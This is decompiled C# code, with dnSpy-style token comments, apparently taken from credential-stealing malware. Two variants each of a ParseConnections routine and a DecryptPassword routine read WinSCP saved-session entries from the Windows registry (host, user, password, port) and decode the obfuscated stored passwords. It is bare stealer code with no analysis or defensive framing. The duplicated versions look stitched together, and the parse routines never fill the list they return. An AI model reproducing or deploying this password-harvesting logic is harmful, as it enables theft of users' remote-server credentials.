public static List <LoginPair> ParseConnections() { List <LoginPair> loginPairList = new List <LoginPair>(); try { using (RegistryKey registryKey1 = Registry.CurrentUser.OpenSubKey("Software\\Martin Prikryl\\WinSCP 2\\Sessions")) { if (registryKey1 != null) { foreach (string subKeyName in registryKey1.GetSubKeyNames()) { string name = Path.Combine("Software\\Martin Prikryl\\WinSCP 2\\Sessions", subKeyName); using (RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey(name)) { if (registryKey2 != null) { string host = registryKey2.GetValue("HostName")?.ToString(); if (!string.IsNullOrWhiteSpace(host)) { WinSCP.DecryptPassword(registryKey2.GetValue("UserName")?.ToString(), registryKey2.GetValue("Password")?.ToString(), host); string str = host + ":" + registryKey2.GetValue("PortNumber")?.ToString(); } } } } } } } catch (Exception ex) { Console.WriteLine((object)ex); } return(loginPairList); }
// Token: 0x060002AD RID: 685 RVA: 0x0000BCAC File Offset: 0x00009EAC public static List <LoginPair> ParseConnections() { List <LoginPair> result = new List <LoginPair>(); try { using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Martin Prikryl\\WinSCP 2\\Sessions")) { if (registryKey != null) { foreach (string path in registryKey.GetSubKeyNames()) { string name = Path.Combine("Software\\Martin Prikryl\\WinSCP 2\\Sessions", path); using (RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey(name)) { if (registryKey2 != null) { object value = registryKey2.GetValue("HostName"); string text = (value != null) ? value.ToString() : null; if (!string.IsNullOrWhiteSpace(text)) { object value2 = registryKey2.GetValue("UserName"); string user = (value2 != null) ? value2.ToString() : null; object value3 = registryKey2.GetValue("Password"); WinSCP.DecryptPassword(user, (value3 != null) ? value3.ToString() : null, text); string str = text; string str2 = ":"; object value4 = registryKey2.GetValue("PortNumber"); text = str + str2 + ((value4 != null) ? value4.ToString() : null); } } } } } } } catch { } return(result); }
// Token: 0x060002AF RID: 687 RVA: 0x0000BE14 File Offset: 0x0000A014 private static string DecryptPassword(string user, string pass, string host) { string result; try { if (user == string.Empty || pass == string.Empty || host == string.Empty) { result = ""; } else { List <string> list = (from keyf in pass select keyf.ToString()).ToList <string>(); List <string> list2 = new List <string>(); for (int i = 0; i < list.Count; i++) { if (list[i] == "A") { list2.Add("10"); } if (list[i] == "B") { list2.Add("11"); } if (list[i] == "C") { list2.Add("12"); } if (list[i] == "D") { list2.Add("13"); } if (list[i] == "E") { list2.Add("14"); } if (list[i] == "F") { list2.Add("15"); } if ("ABCDEF".IndexOf(list[i]) == -1) { list2.Add(list[i]); } } List <string> list3 = list2; int num; if (WinSCP.DecodeNextChar(list3) == 255) { num = WinSCP.DecodeNextChar(list3); } list3.Remove(list3[0]); list3.Remove(list3[0]); list3.Remove(list3[0]); list3.Remove(list3[0]); num = WinSCP.DecodeNextChar(list3); List <string> list4 = list3; list4.Remove(list4[0]); list4.Remove(list4[0]); int num2 = WinSCP.DecodeNextChar(list3) * 2; for (int j = 0; j < num2; j++) { list3.Remove(list3[0]); } string text = ""; for (int k = -1; k < num; k++) { string str = ((char)WinSCP.DecodeNextChar(list3)).ToString(); list3.Remove(list3[0]); list3.Remove(list3[0]); text += str; } string text2 = user + host; int count = text.IndexOf(text2, StringComparison.Ordinal); text = text.Remove(0, count); text = text.Replace(text2, ""); result = text; } } catch { result = ""; } return(result); }
private static string DecryptPassword(string user, string pass, string host) { try { if (user == string.Empty || pass == string.Empty || host == string.Empty) { return(""); } List <string> list1 = pass.Select <char, string>((Func <char, string>)(keyf => keyf.ToString())).ToList <string>(); List <string> stringList1 = new List <string>(); for (int index = 0; index < list1.Count; ++index) { if (list1[index] == "A") { stringList1.Add("10"); } if (list1[index] == "B") { stringList1.Add("11"); } if (list1[index] == "C") { stringList1.Add("12"); } if (list1[index] == "D") { stringList1.Add("13"); } if (list1[index] == "E") { stringList1.Add("14"); } if (list1[index] == "F") { stringList1.Add("15"); } if ("ABCDEF".IndexOf(list1[index]) == -1) { stringList1.Add(list1[index]); } } List <string> list2 = stringList1; int num1 = 0; if (WinSCP.DecodeNextChar(list2) == (int)byte.MaxValue) { num1 = WinSCP.DecodeNextChar(list2); } list2.Remove(list2[0]); list2.Remove(list2[0]); list2.Remove(list2[0]); list2.Remove(list2[0]); int num2 = WinSCP.DecodeNextChar(list2); List <string> stringList2 = list2; stringList2.Remove(stringList2[0]); stringList2.Remove(stringList2[0]); int num3 = WinSCP.DecodeNextChar(list2) * 2; for (int index = 0; index < num3; ++index) { list2.Remove(list2[0]); } string str1 = ""; for (int index = -1; index < num2; ++index) { string str2 = ((char)WinSCP.DecodeNextChar(list2)).ToString(); list2.Remove(list2[0]); list2.Remove(list2[0]); str1 += str2; } string oldValue = user + host; int count = str1.IndexOf(oldValue, StringComparison.Ordinal); return(str1.Remove(0, count).Replace(oldValue, "")); } catch { return(""); } }